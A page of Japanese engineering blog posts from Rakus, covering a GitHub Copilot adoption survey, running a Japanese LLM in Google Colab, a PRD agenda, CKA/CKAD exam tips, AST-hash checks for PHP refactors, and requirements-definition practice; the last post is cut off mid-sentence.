TECH PLAY

株式会社ラクス

株式会社ラクス の技術ブログ

935

はじめに こんにちは、技術広報の nobu_ms です。 ラク スでは2023年6月から GitHub Copilotを全開発組織に導入し、希望者は申請により全員利用可能となっています。 GitHub Copilot導入から5カ月が経過し、利用状況や導入効果のアンケート調査を行いました。 本記事では、調査結果を踏まえて下記の内容をご紹介します。 全社導入前の課題とその対応 導入後の利用状況・効果測定 今後の活用に向けた課題と取り組み より詳細な目次はこちらをご覧ください。 はじめに GitHub Copilot導入の目的 全社導入前の課題とその対応 ① セキュリティの担保 当社の情報資産が学習に利用される可能性 他社のコードがサジェストされて著作権を侵害するのではないか? ② 費用対効果 導入後の利用状況・効果測定 コーディング時間短縮の効果 業務品質向上効果 学習・調査効率化効果 エンジニアの業務体験はどうなったか 実務上の利用例 コーディング時間短縮 業務品質向上 学習・調査効率化 エンジニアの声 時間短縮効果の概算 GitHub Copilotは有効。「今後も使いたい」100% 一層の活用に向けた課題と取り組み GitHub Copilot導入の目的 ラク スでは業務生産性向上を目的に GitHub Copilotを導入しました。 具体的な期待効果としては、 コーディング時間短縮(効率化) 業務品質向上(コード品質、チャット等を援用したプログラムア イデア の創出) 学習・調査時間短縮 が挙げられます。 全社導入前の課題とその対応 すでに生成AI系サービスは社内でも大きな話題となっていましたが、実業務への効果的かつ安全な導入にあたっては二つの検討課題がありました。 ① セキュリティの担保と ② 費用対効果 です。 ① セキュリティの担保 具体的なセキュリティの課題については、下記の二つがありました。 当社の情報資産が学習に利用される可能性 生成AI系サービスによっては、情報資産が 機械学習 に利用される可能性があります。 GitHub Copilotに関連する情報資産には ソースコード 、クレデンシャル、顧客情報が考えられます。for Businessプランの プライバシーポリシー (2023/12/26参照)を確認すると、これらは学習に一切使用されないため、懸念はないことが分かりました。 他社のコードがサジェストされて 著作権 を侵害するのではないか? こちらも、Organization単位で 「Suggestion Matching Public Code」 (2023/12/26参照)をBlockedにすることで防止できます。 GitHub 上の公開情報とサジェストコードが一致した場合に、サジェストを行わない設定が可能となります。 主に上記のような観点をクリアし、安全性は担保できると判断しました。 全社展開にあたっては運用ルールの策定が必要でした。 GitHub CopilotやChatGPTなどの生成AIサービスに関しては、情報セキュリティ担当部署と、セキュリティについて横断的なルール作りを行う開発管理課という組織があり、これらの組織とルール作りを行い安全性を確認の上、導入を進めました。 ② 費用対効果 ラク スでは業務生産性に役立ち、快適にコードを書ける環境を整備してきました。これまでも効果検証の結果として費用対効果が得られると判断した開発ツールへは投資しており、今回も全社導入の前に事前の効果検証を行うことになりました。 テッ クリード の所属する4名の開発チームで、ある機能開発を パイロ ットプロジェクトとして、1週間程度の効果計測を行いました。具体的にはコードサジェストにより削減された作業を、リアルタイム集計する形で実施しました。 結果、 同じ開発業務を行うのに12%時間削減、一人当たり約10時間/月の時間短縮になると試算 されました。 これらのテッ クリード の調査結果を経営陣に報告し、セキュリティに関する運用ルールを早期に策定できたこと、費用対効果が期待されたことから GitHub Copilotの全社導入が6月から正式に始まりました。 導入後の利用状況・効果測定 全社で運用開始してから約5か月が経過し、ある程度使用実績が蓄積されてきたところで、社内のエンジニア63名に利用状況や、期待される効果が得られたかを調査しました。 (ただし7名はPdM等でコーディング業務を担当しておらず、 GitHub Coplot使用は56名) 前提となる職種や利用エディタは下記の通りです。 当社バックエンドは Java と PHP を用いて開発しているため、 VSCode と並んで IntelliJ IDEA、PhpStormも多くなっています。 コーディング時間短縮の効果 まず時間換算すると、 71.4%のエンジニアが0.5時間以上/日の時間節約 になったと回答しています。 なお時間削減効果が0.5時間未満/日のエンジニアは、業務に占めるコーディング比率が低い傾向があり恩恵の絶対量が小さかったようです。 92.9%のエンジニアが GitHub Copilotによって生産的になった と回答しています。同じ業務をこなすのに1.3倍以上生産的になったという回答も41.4%と、目立った体感が得られたようです。 業務品質向上効果 品質の高いコードが書けるようになったと回答したエンジニアは59.0% でした。 後述のように、生成されたコードに対する最終的な判断はエンジニアが行う場面も多いため、まだAIにより品質が高くなったとは言い切れないかもしれません。 サジェストによる繰り返し作業の効率化により業務品質向上が期待できますが、こちらの恩恵を感じたエンジニアは多く、 83.9%が迅速にこなすことができるようになった と回答しています。 学習・調査効率化効果 66.1%のエンジニアが GitHub Copilotにより検索時間を短縮できた と回答しました。 開発時間短縮効果と比較するととびぬけて高い数値ではありませんが、学習・調査の効率化は後述の定性効果で多くのコメントが寄せられた項目でもあります。 今後の活用シーンの拡大が期待されます。 エンジニアの業務体験はどうなったか 51.8%のエンジニアが仕事に充実感を感じられるようになった と回答しています。 興味深いことに、「充実感を感じられるようになった」の回答と節約時間の間には強い相関はありませんでした。 結果的に節約できた時間は少なくても、「ボリュームのあるコードレビューが楽になる」「記述量の多いテストコード作成が楽になる」などのコメントもありました。 担当業務の質的な改善が充実感に影響している可能性はあります。 続いて、 GitHub Copilot 利用によりフロー状態(作業に没頭し集中できる状態)に入りやすくなったと回答したのは39.3%でした。 全体の比率でみると高いとは言えませんが、 コーディングが業務の60%以上を占める回答者については、76.9%がフロー状態に入りやすくなったと回答 しています。 コーディング業務比率が高いエンジニアが多いほど、組織全体の体験改善の インパク トは大きくなると推察されます。 実務上の利用例 開発の現場ではより具体的な効果が実感されていました。社内で GitHub Copilotのメリットを感じられた具体的な例を紹介します。 もともとの導入の期待効果であった ① コーディング時間短縮(効率化)、② 業務品質向上(コード品質、チャット等を援用したプログラムア イデア の創出)、③ 学習・調査時間短縮に則してみると、 コーディング時間短縮 定型作業コードの自動補完 上流工程での画面サンプルの爆速作成 手順書、ドキュメント( markdown )、コミットコメントの生成 設定ファイルの作成補完(yml、Dockerfileなど) 業務品質向上 コピペミス、 タイプミス の減少 コード規約に沿ったコード生成 コードレビュー(人間によるレビュー前のチェックとしてfind probremを走らせる) テストケース作成 学習・調査効率化 コードリーディングをしながら アーキテクチャ の説明をさせる 新規関数生成時、前後の文脈を理解した処理内容のサジェスト レガシーなコード体系下における、モダン記法での自動生成 技術用語、言語使用の調査・検索( Google での検索ワードを考えなくてよい) エンジニアの声 実際に使ってみたエンジニアからも、期待の大きさが伝わってきました。 「個人的な開発に使用するほど気に入っています。サジェストは怖いぐらい正確」 「まだまだ伸びしろを感じるツール。まだ GitHub Copilotの機能追加はあると思うが、現状見えている氷山の一角でもかなりでかい」 「定型で単純な繰り返しコードの記述がすごく楽になった」 「コードを書いた後にサジェストするとダブルチェックになるだけでなく、勉強にもなる」 「タイミングで正しい文章が自動生成されたときはびっくりしました。コードの文脈を把握できていないと答えられないような内容だったので、自分の理解を確かめる目的でも利用できるかと思います」 時間短縮効果の概算 前述の時間短縮効果を概算してみます。 まず短縮された時間について、各回答の平均値(0~0.5の場合は0.25、0.5~1の場合は0.75)を使ってみます。56件の回答があるので回答割合で人数を導きます。これらを掛け合わせた合計値を出します。 0.25h×16人+0.75h×20人+1.5h×17人+2.5h×1人+4..5h×2名=56h 56h/56人とすると、 「一人当たり1h/日の短縮効果」 があったと計算できます。 当初の事前検証の結果と大きくは変わらない効果が得られたことになります。 GitHub Copilotは有効。「今後も使いたい」100% ここまで時間短縮効果、業務品質向上効果、学習・調査効率化効果、エンジニアの業務体験という観点で定性・ 定量 効果を見てきましたが、開発組織としても多くのメリットを実感しています。 今回調査に回答したエンジニア全員が今後も GitHub Copilotを使いたいと回答しており、今後の活用の拡大が期待されます。 一層の活用に向けた課題と取り組み ここまではメリットばかりを書いてきましたが、思った通りに使いこなすにはまだ課題もあるようです。ここではその一部をご紹介します。 既存コードの文脈の影響を受け、最適なコードの質量でないこともあるので精査が必要 精度が高いがゆえに、自動出力されたギリギリ要件を満たさないコードを見抜くのが難しい。テストケースで網羅するか、経験が必要。 なぜその実装をするのか、AIであるがゆえに曖昧なままで仕事ができてしまうため、育成の機会が減る。 IDE のサジェストとの相性が悪い (これらの所感は2023年11月時点の機能をベースにしています。今後の利活用を検討される方は、最新の機能アップデートで解決されている可能性もあるので是非確認してください。) 定型業務に対しては強みを発揮する GitHub Copilotですが、運用歴が長いプロダクトでレガシーなコード体系があるケース、前後の文脈があるケースや、複雑な要件を持つケースには注意が必要そうです。 GitHub Copilotで削減された時間は、実装の目的・あるべき姿や要件を理解する、ある意味人間らしい業務にシフトすべきということなのかもしれません。 今回の調査で、すでに実装に関わるエンジニアの活用率は100%でした。今後の活用のためには、上記のような課題をカバーするナレッジを共有し、新しいア イデア を社内でどんどん出していくことが大事だと思います。そのための場作りもテッ クリード を中心に始まっています。 ラク スでは複数の開発チームがあり、運用歴の異なるプロダクトがベスト・オブ・ブリード(ここでは各製品ごとに最適な設計や技術スタックを選定する開発戦略の意味)で開発されています。それぞれのチームで有効活用が図られ、 GitHub Copilotに関する活用ナレッジを共有するためのチャットが立ち上がっており、議論や共有化がなされています。他にも生成AIを活用しているエンジニアたちがホットなニュースを語り合う社内ラジオも開催され、さらなる活用の機運も来年はさらに高まってくるのではないかと思います。 業務生産性向上のため、ア イデア を出し合いながら積極的に新しいツールを活用していきたいですね。この記事をお読みいただいた方のご参考になりましたら幸いです。
アバター
はじめに こんにちは! 今年も国内外様々な LLM(大規模 言語モデル )が公開されましたね! LLM の選定や調査・実験をする際、リソースの要求レベルが非常に高く、ローカル環境での実施はかなりハードルが高いですよね... そこで今回は、 Google Colab(正式には Colaboratory)を利用して LLMを動かす方法を紹介します。 サクッと LLM を動かしたい時におすすめです! はじめに Google Colab 基本的な使い方 エラーがでたときは? セッションが多すぎるとき なぜかうまく動かない時 有料プランについて ほかにも使ってみる Google Colab Google Colab は、 Google が提供している提供しているサービスで、ブラウザで Python を実行できるツールです。 機械学習 の用途で利用されることが多く、操作も簡単です。 基本的な使い方 今回は、 calm2-7b-chat を Google Colab 上で動かしてみましょう! このモデルは、株式会社 サイバーエージェント 様が公開されているモデルです。 ライセンス区分は商用可能な Apache License 2.0 です。 www.cyberagent.co.jp 前提: Google アカウントがあること Google Colab にアクセス Welcome To Colaboratory にアクセスすると、 Google Colab の画面が表示されます。 新規ノートブックを作成 左上のタブ 「ファイル > ノートブックを新規作成」 をクリックします。 新しいノートブックの画面が開かれますので、適当に名前をつけます。 私は calm2-7b-chat.ipynb としました。 ノートブックを新規作成 ノートブックの設定変更 続いて LLM を動かすためのリソース設定をします。 デフォルトではリソースに CPU を利用することになっていますが、このままではリソース不足のため実行途中で処理が打ち切られてしまいます。 左上のタブ 編集 > ノートブックの設定 をクリックすると、ダイアログが表示されます。 ダイアログの項目「ハードウェア アクセラ レータ」の ラジオボタン 「T4 GPU 」を選択します。 ダイアログ下部の 保存 ボタンをクリックして設定を保存します。 ノートブックの設定 ハードウェア アクセラ レータ これで準備は完了です! では実際にコードを書いて動かしましょう! コードを書いて実行 LLM を動かすために必要な Python ライブラリを事前にインストールしておきましょう。 公式に記載のライブラリは こちら に記載がありました。 ※ LLM によって利用するライブラリやバージョンが異なることがあります。 まず、一行目に pip install transformers accelerate bitsandbytes と入力します。 そして入力フィールド左部の実行ボタン(▷)をクリックします。 ライブラリのインストール すると、インストールが進みしばらくすると完了します。 続いて、LLM を実際に動かすためのコードを書きます。 先ほどインストールが完了した次の行に、以下の実行コードをペーストします。 そして入力フィールド左部の実行ボタン(▷)をクリックします。 import transformers from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer assert transformers.__version__ >= "4.34.1" model = AutoModelForCausalLM.from_pretrained("cyberagent/calm2-7b-chat", device_map="auto", torch_dtype="auto") tokenizer = AutoTokenizer.from_pretrained("cyberagent/calm2-7b-chat") streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True) prompt = """USER: AIによって私達の暮らしはどのように変わりますか? ASSISTANT: """ token_ids = tokenizer.encode(prompt, return_tensors="pt") output_ids = model.generate( input_ids=token_ids.to(model.device), max_new_tokens=300, do_sample=True, temperature=0.8, streamer=streamer, ) prompt = に続く箇所がプロンプトですね。 また、 output_ids でパラメータの調整ができます。 たとえば、 temperature パラメータを変動させることで、回答にランダム性を持たせることができます! ひとまず、サンプルプログラムを実行してみましょう! 途中経過 このプログラムでは、 AIによって私達の暮らしはどのように変わりますか? という質問を投げかけています。 モデルのダウンロードとプログラムの実行が完了するまでしばらく待ちましょう... しばらくすると、結果が返ってきました! サンプルプログラムの解析結果 ほかにも質問してみました! 質問:日本で2番目に標高が高い山はどこですか? 回答:日本で2番目に標高が高い山は、 南アルプス の 北岳 ( 山梨県 と 静岡県 にまたがる)で、標高は3,193メートルです。 今までのLLMはこの手の質問が苦手だったのですが、calm2-7bは正確ですね! 追加の質問 エラーがでたときは? セッションが多すぎるとき 複数のタブで異なるノートブックを操作すると、どれか一つだけに絞るように促されます。 セッションが多すぎます この場合は、ダイアログ右端のゴミ箱アイコンクリックで不要なセッションを閉じましょう。 セッションを閉じる なぜかうまく動かない時 必要な設定も行なっているし、必要なライブラリもインストールしているにも関わらずエラーが出る時があります。 その場合は、「ランタイム > セッションを再開しすべて実行する」をクリックしてみてください。 実行エラー セッション再開 有料プランについて 先ほどのコード実行後のリソース状況を見てみましょう。 プロジェクト右上の項目「T4 RAM ディスク」をクリックします。 プロジェクト下部に自身が利用したリソースが表示されます。 T4 RAMディスク 無料枠のリソース消費 GPU RAM がかなり逼迫していることが分かります。 無料枠だとリソースにかなりの制限があり、LLM を 1 度動かすのが限界です。 リソースのリセットタイミングも不明なので、ちょっと色々試したい場合は不便ですね... ほかにも 12 時間経過すると実行環境が初期化されるなど、多くの制約があります。 有料プランに移行することでこうした問題を解決できます。 Google Colab のプラン選択画面 にアクセスします。 いくつかプランがありますが、ちょっと試したいなという時は Pay As You Go プランがオススメです。 このプランは、従量課金制ですので「解約忘れによる課金」が発生しません! 「コンピューティングユニット」と呼ばれるリソースを購入し、それを使い切るまで利用できる仕組みです。 これにより GPU の利用上限数をストックできます。 また、利用できる GPU の選択肢が広がります。 GPU の性能は、T4 < V100 < A100 となっていますが、性能が高いほどコンピューティングユニットを多く消費するため注意が必要です。 サクッと LLM を試してみるだけであれば T4 もしくは V100 でも十分だと思います。 各 GPU ごとの1時間あたりのコンピューティングユニット消費量の予測についてはリソース内に情報があるので確認してみてください。 1時間あたり T4 1.96 V100 5.36 A100 13.08 消費量 実際に Pay As You Go を選択し、100 コンピューティングユニットを購入してみました。 プラン選択 購入完了 購入後のリソース状況を見てみましょう。 購入後のリソース状況 コンピューティングユニットが増えていることが確認できますね! ほかにも使ってみる ほかにもいくつか日本語LLMを紹介します!! ELYZA-japanese-Llama-2-7b 株式会社ELYZA様が公開しているLlama 2をベースとした日本語LLMモデル。 GPT-3.5 (text-davinci-003)」に匹敵するレベルを持つとのことです! note.com Youri 7B Llama2 7Bをベースにしたrinna株式会社様の日本語LLMモデル。 400億 トーク ン継続事前学習したモデルとなっており非常に高いスコアが出ていますね! rinna.co.jp houou マネー フォワ ード株式会社様が公開しているYouri7Bに対してチューニングを行ったLLMモデル。 インスト ラク ションデータを使った学習により、回答の精度が大幅に向上したとのことです! corp.moneyforward.com Swallow 東京工業大学 が公開しているLLMモデルで、Llama2が苦手としていた日本語の読み書き性能が大幅に向上したとのことです! パラメータを調整することでオタクっぽくなることがネットでも話題になっていましたね! 東工大 が昨日公開した日本語特化LLM『Swallow』を早速試してる。大学のシンボルマークであるツバメが名前になっているのも感慨深い。 ………これ、どんな深刻な話題もオタク特有のハイテンションな 怪文書 に変形されるんだけど、もしかして日本人を全員オタクにする計画はじめようとしてる…? pic.twitter.com/layDqlnKVL — ヤマゾー@AIエンジニア (@yamazombie1) December 20, 2023 www.titech.ac.jp ここ半年だけでも本当に多くの取り組みがなされていますね! いつかLLMをさくっとローカルで動かせる時代がくれば...なんてのも、実は llama.cpp というLLMがあります。 こちらは確かにCPUだけで動作するので本当にすごいです!! (が、日本語の読み書きがやや弱く返答に中国語が混じったりします...) 2024年もLLMの動向ををウォッチしてどんどん試してみましょう!!
アバター
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーの @wekkyyyy です。 前回は「PdMとPMMの役割分担・連携」というテーマで記事をかかせていただきました。 tech-blog.rakus.co.jp 今回は、 楽楽精算のPRD(製品要求仕様書) Agenda というテーマでブログを記載します。 目次は以下となります。 対象読者 前提 楽楽精算のPRD(製品要求仕様書) Agenda(一部) 一番重要と考えるAgenda Contentsサンプル ラクスのPdMとして活躍してみませんか? 対象読者 PRD(製品要求仕様書)を作成する、PdM(PM)・プランナー・PjM等の方々 前提 あくまで楽楽精算ではこうです。のサンプルですので、これが絶対!というものではございません。 会社・プロダクトごとにPdM(PM)等の役割定義は様々です。そのためどこまで書くかはそれぞれです。 楽楽精算のPRD(製品要求仕様書) Agenda(一部) 楽楽精算のPRD Agendaは、以下です。 全部が全部だとかなりの行数になるので、一部とさせてください。 (これの2倍はあります。。。w) Why領域 問題概要(誰のどんな業務にどういった課題があるか) 財務効果( ラク ス側のメリットを記載・可能な限り金額と根拠を記載する) What領域 達成条件(何ができれば本機能の開発目的が果たせるか) 前提/Must/Better 業務への影響 経理 など 立場別 システム運用面 マニュアル 想定反映内容 既存機能への影響 想定コスト 開発コスト システム運用コスト インフラコスト 一番重要と考えるAgenda Why領域 の以下です。 1. 問題概要(誰のどんな業務にどういった課題があるか) 2. 財務効果(ラクス側のメリットを記載・可能な限り金額と根拠を記載する) 理由 Why領域が、間違っている・あやふやだと以下のリスクが発生します。 後続Agendaが、全て見当違いの内容になるリスクがある。 そもそもの課題がまちがっていると、見当違いの検討を進めてしまう。 あやふやな内容だと、達成条件とのつながりが感じられなくなる。 達成条件もあやふやだと、エンジニアの要件定義もずれた内容になる Contentsサンプル 問題概要(誰のどんな業務にどういった課題があるか) のサンプルを載せます。 実際の案件で作成したものです。(改修リリース済みです) こちらは、シンプルなものですが案件によっては、これの何倍も登場人物とActionが複雑になります。。。orz ラク スのPdMとして活躍してみませんか? 楽楽精算PdMは、引き続き人材を募集しております。 是非カジュアル面談からお申し込みいただけると幸いです。 career-recruit.rakus.co.jp
アバター
こんにちは、SRE課セトです。 今回はCertified Kubernetes Administrator (CKA)とCertified Kubernetes Application Developer (CKAD)を受験し、合格したためその体験記を共有します。 CKA、CKADとは なぜ受けたか 受験者のスペック 受験するにあたり最低限身につけておいた方が良いこと いつ受験しどのくらい勉強したか 学習に使用したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests Killer.sh Kubernetes.io(公式ドキュメント) Kubernetes完全ガイド その他学習に取り入れてもよいもの Kubernetes The Hard Way 受験環境 場所 機器スペック 試験についてのアドバイス 最速で合格する方法 Kubernetesをある程度経験したことがある方 Kubernetesの経験がほぼない方 注意点 試験方式が昔の試験と若干変わっている 実際に試験を受けて失敗したこと 英語力 リモートデスクトップ環境 やっておいた方が良いこと Aliasの設定 kubectlのワンライナーコマンド 便利なもの 総じて CKA、CKADとは Cloud Native Computing Foundation(CNCF)と Linux Fundationの協力によって作った資格です。 CKAは Kubernetes 管理者の責任を遂行するスキル、知識、および能力を保証する資格 etcdでsnapshotやrestoreの実施方法など学習でき楽しかったです。 CKADは Kubernetes 用の クラウド ネイティブアプリケーションを設計、構築、デプロイできることを証明する資格 Kubernetes でアプリケーションを動かす環境だと、アプリケーション開発者はとっておいて損はない資格かと思います。 なぜ受けたか 世間的にも Kubernetes の利用が増え、これからますます重要性を増していくと感じたためそろそろ本格的に覚えるか〜と思ったことがきっかけです。 また社内でもコンテナ技術を推進しているため、発言により説得力をもたせる意味もありました。 受験者のスペック 27歳文系出身。ほぼほぼアプリの人間。 実務でインフラ設計構築経験は全くなく、 Linux コマンドもよく使用するものしか知りません。 Kubernetes に関する知識は以前社内で行われてた Kubernetes完全ガイド の輪読会に参加して本を1周、遊びで Kubernetes を少し動かしたくらいです。 受験するにあたり最低限身につけておいた方が良いこと LPIC1相当の Linux の知識 Docker等を使用したコンテナ技術の最低限の知識 いつ受験しどのくらい勉強したか CKAは2023年8月13日に受験し合格(学習期間2ヶ月半程度) CKADは2023年8月27日に受験し合格(学習期間2週間程度) 勉強量はCKAまでは平日約2時間程度、土日は約4~5時間程度していました。 ※CKADはほぼCKAと試験内容が被っているため、JobやCronJob、Liveness Probe、Readiness Probeあたり理解していれば合格すると思います。 学習に使用したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests まじでこれだけ完璧にしておけば合格する。 ただ、全て英語であり、字幕で変な日本語に変換されてしまう。 受験者は英語は全くわからないため、音声OFFにしてBGM等聴きながら取り組んでいました。 鉄板だとは思うが、Udemyでセール時に買うべき。間違ってもセールになっていない時に買ってはならない。 Killer.sh バウチャー(試験チケット)を購入すると2回分付いてくる。 模擬試験形式であり、 リモートデスクトップ を利用した実際の試験とほぼ同じような形式で試験できるため、試験慣れするために必ず実施しておくべき。アクティベートすると36時間使える。 実際の試験より難しい。killer.shの問題も難なくとける状態にしておけば本番も間違いなく合格すると思う。 私は試験2,3日前から始めてかなり自信を喪失しました。ただ解けなくても、1,2週して、解けない問題は都度確認することで理解を深めることができました。 Kubernetes.io(公式ドキュメント) 試験本番時に確認できるページの1つ。本番時はほぼこのページを確認しながら取り組むため、 udemy で問題を解きながら公式ドキュメント慣れは必ずしておくべき。 Kubernetes完全ガイド とてもわかりやすく、詳しいため腑に落ちない部分やもっと理解を深めたい時に使用していました。 その他学習に取り入れてもよいもの Kubernetes The Hard Way CKAを受けるのであれば取り組んだ方がより理解が進むと思います。 受験環境 場所 自宅 ベッド、テーブル以外は押入れや別部屋に押し込みました。 機器スペック Macbook Pro 13インチのみ 画面小さくてとても辛かったです。 ※ Linux Foundation は15インチ以上の画面を推奨しているみたいです。 ※ デュアルディスプレイ は禁止しているみたいです。 試験についてのアド バイス 問題数は、15~20問程度であり、完全に解けなそうな問題でも部分点をもらえるため、完全にわからなくても少しでも手をつけた方が良い。 試験中の言語に関しては、「CKA-JP」を選択しても、何度でも英語や日本語に言語変更可能です。(その他言語に変更可能かは忘れてしまいました。すみません。) 最速で合格する方法 Kubernetes をある程度経験したことがある方 killer.sh をまず受けてみる。50%以上採れれば、次の日には合格すると思う。 不安だったら、解けなかった部分のみ udemy で学習すれば問題ないと思う。 Kubernetes の経験がほぼない方 udemy を最速で1,2週する。理解できないワード等は都度調べて潰しておく。 3週目から解けなかった分野、問題のみ実施し解けない問題を潰す。 注意点 試験方式が昔の試験と若干変わっている 他記事では Kubernetes.io の重要部分をブックマークしておいて、試験時にブックマークから確認できるという記事を多々みるがそんなことは一切ない 過去は試験時間が3時間であったが、現在は2時間になっている。 実際に試験を受けて失敗したこと 英語力 試験について調べると「CKADとCKAD-JP」や「CKAとCKA-JP」等、日本語に対応した試験が出てくる。もちろん受験者は英語が全くわからないため、「CKA-JP」を選択した。 試験開始前に試験監督員とチャットコミュニケーションを行い、試験環境として適切な環境か実際に画面に映しながらチェックする。しかし何故かそのチャットコミュニケーションが英語だった。。「CKA-JP」を選択したはずなのに。。 案の定チャットの内容が全く理解できず、チャットで頂いた指示通りに動くことができなかった。そのため画面をブチっと切られてしまい試験終了?になってしまった。 すかさずもう一度チャレンジしてチャット内容はDeepL翻訳で要約したため無事試験を始めることができたが、受験料約5万円払っているためかかなり動揺してしまい、開始10~20分は試験に集中することができなかった。 リモートデスクトップ 環境 試験本番と killer.sh は リモートデスクトップ 上で Windows 環境での試験でした。 killer.sh の時に「Ctrl」+「F」で検索できることを確認したが、試験本番では何故か検索することができなかった。 Kubernetes.io で欲しい情報がなかなか取得することができず、苦戦した。 また何故か日本語変換ができず、(僕だけ?) Kubernetes.io 上での左の検索バーからの検索も全て英語のみになってしまい、苦戦した。 やっておいた方が良いこと Aliasの設定 alias k=kubectl は素直にやっておいた方がよい。少なからず私にとって2時間という試験時間はとても短く感じたため、少しでも時間短縮するべき kubectlの ワンライナー コマンド いくつかの ワンライナー を覚えて yaml ファイルの雛形を生成するべき 便利なもの kubectlチートシート 総じて 資格を取ることによって実務で即戦力とまではいきませんが、課内でのお話の内容はある程度理解できるようになりました。 学習途中は覚えることが多すぎて折れそうになりましたが、めげずに毎日継続することで無事合格することができました。 無理に覚えようとはせず毎日学習し続ければ、経験がない方も取得できる資格だと思います。 また、受験費用計10万ほど(CKA,CKAD合わせて)は会社が負担してくれたため、感謝しかないです!
アバター
この記事は PHP Advent Calendar 2023 6日目の記事です。 こんにちは、配配メール開発エンジニアの takaram です。 私のチームでは、最近行った リファクタリング や PHP バージョンアップ対応において、あえて 修正したコードをテストしない という対応を取ることがありました。この記事ではこれについてお話しします。 テストしないでリリースする方法 使いどころ 一括コードフォーマット ${}による文字列補間の修正 やり方 最後に テストしないでリリースする方法 いきなりネタバレしてしまうと、これはモノタロウさんのテックブログで紹介されていた以下の記事のn番煎じです。 tech-blog.monotaro.com 要約すると「コードの修正前後で抽象 構文木 (AST) が変化しなければ、コードの動作も変わらないはずなのでテスト不要と判断できる」ということです。 元記事は Python でやっていますが、考え方自体は他の言語でも使えるので、実際に PHP でやってみたという記事もあります。 モノタロウさんがすごいなと思ったのでphp-astを試してみた #PHP - Qiita 「PHPのファイルに差分があるかを(astを使って)調べる君」を書いた - 大好き!にちようび 上記2記事は拡張モジュールの php-ast を利用していますが、拡張モジュールのインストールは面倒であることが多いので、今回は PHP-Parser を使うことにします。 なお、これ以降「ファイルの ハッシュ値 」という表現を「 PHP プログラムのASTの ハッシュ値 」という意味で使います。 使いどころ 一括コードフォーマット PHP _CodeSnifferや php -cs-fixerでプロジェクト全体に自動修正をかけた場合、対象ファイルが数千を超えることもあります。これを全て手動でテストするのは非現実的でしょう。 インデントや 演算子 の周りの空白の修正であればASTには影響がないため、この手法を使うことができます。 ${} による文字列補間の修正 PHP8.2で "${var}" 形式で文字列に変数を埋め込む文字列補間が非推奨になりました。 まだ使えなくなるわけではないですが、 "{$var}" 形式に書き換える必要があります。 これら2つの文字列は同等のASTが出力されるため、ASTの ハッシュ値 が変わりません。 やり方 まず適当な ディレクト リに、ファイルの ハッシュ値 を出力する スクリプト を作ります。ファイルはこんな感じです。 <?php declare ( strict_types = 1 ) ; use PhpParser\NodeDumper; use PhpParser\ParserFactory; require_once __DIR__ . '/vendor/autoload.php' ; $ parser = ( new ParserFactory ) -> create ( ParserFactory :: PREFER_PHP7 ) ; $ dumper = new NodeDumper () ; foreach ( array_slice ( $ argv , 1 ) as $ file ) { try { $ ast = $ parser -> parse ( file_get_contents ( $ file )) ; } catch ( Error $ error ) { echo "Parse error: { $ error -> getMessage() }\n " ; exit ( 1 ) ; } $ hash = md5 ( $ dumper -> dump ( $ ast )) ; echo " { $ hash }\t{ $ file }\n " ; } 以下では、このファイルを /tmp/php-ast-diff/ast_md5.php に置いているとして進めます。 次に、nikic/ PHP -Parserをインストールします。バージョンはv4.x系を利用します。 $ cd /tmp/php-ast-diff $ composer require nikic/php-parser:'^4.17' ここまでで準備は完了です。試しに、 ast_md5.php 自身の ハッシュ値 を出力させてみましょう。 以下のように出力されると思います。 $ php ast_md5.php ast_md5.php 7042836d533afb828822f59454abb39f ast_md5.php これ以降は、 ハッシュ値 を計算したいファイルのある リポジトリ で作業します。 また、mainブランチからrefactorブランチを切ってコードを修正したと仮定します。 まず、修正したファイルを一覧で出しておきます。 $ git diff --name-only main...refactor > changed_files 次に、修正前のファイルの ハッシュ値 を出力します。 mainブランチ上だと、refactorブランチ作成後にマージされた他の変更が入っている場合があるため、ブランチの分岐の根元に当たるコミットにチェックアウトします。 $ git checkout "$(git merge-base main refactor)" $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_before 次に修正後のファイルの ハッシュ値 を出力します。 $ git checkout refactor $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_after 最後に hash_before と hash_after をdiffコマンド等で比較し、差分がなければ ハッシュ値 が変わっていないと分かります。 最後に 特に ユニットテスト が十分にないプロダクトでは、 リファクタリング は往々にして大変になりがちです。 今回紹介した方法であればすぐにでも取り入れられるので、ぜひ活用してみてください!
アバター
こんにちは。配配メール開発課のwnwtt17です。 今回は配配メールチームの要件定義の進め方についてお話ししようかなと思います。 少し前に要件定義の進め方を変更し、とても作業を進めやすくなったので参考になればと思います。 今までの進め方 新しい進め方 エンドユーザーの気持ち…? 最後に 今までの進め方 配配メールチームではエンジニアとデザイナーが協力して要件定義を進めています。 作業の流れは以下の通りです。 ①エンジニア側で要求仕様の理解 ②要件定義書に落とし込んでいく ③デザイナーにUIの作成を依頼 しかし、この流れだとどうしてもエンジニア主体になってしまい デザイナー的な視点(UXの観点など)がなかなか取り入れづらいという状態でした。 新しい進め方 エンジニア・デザイナー両方の視点を取り入れていきたかったので 少し前に以下の進め方に変えてみました。 ①エンジニア・デザイナーともに要求仕様の理解 ②それぞれで作業を進めていく  ・エンジニア:開発的な視点で、どういう機能が必要かなどを考えていく  ・デザイナー:UI的な視点でペルソナやユーザーストーリーを考えていく ③お互いの成果物をすり合わせる ④デザイナー側ですり合わせた成果物をもとにUIを検討する ⑤作成してもらったUIをもとに要件定義書を作成していく 上記の流れに変えたことによって、良かった(助かった)点があったので紹介しようと思います。 エンドユーザーの気持ち…? 上記の進め方に変更後、初めての案件がなかなかの強敵でした。 その案件では、配配メールを利用するお客様だけではなく、 その先のエンドユーザーの視点でもUIを検討する必要がありました。 今までは、配配メールを利用するお客様のみが利用する機能ばかりだったので エンドユーザー的な使いやすさなどがエンジニア側では分からない状態でした。 しかし、デザイナーが要求仕様からどんどん参加してくれるようになったので 特に困ることもなく、UIの作成がスムーズに進んだのでとても助かった記憶があります。 また、ペルソナやユーザーストーリーをきちんと作成してもらったので 今まで気付けなかった視点(この操作はユーザーには難しすぎるんじゃないか?など)も盛り込むことができ、 より良い要件定義になったと感じています。 最後に やり方をガラッと変えたことにより、最初はうまく進まなかったところもありましたが、 お互いがサポートし合うことによって、よりよい要件定義を完成させることができたと思っています。 はじめての案件で作成した機能がもうすぐリリースされるので、 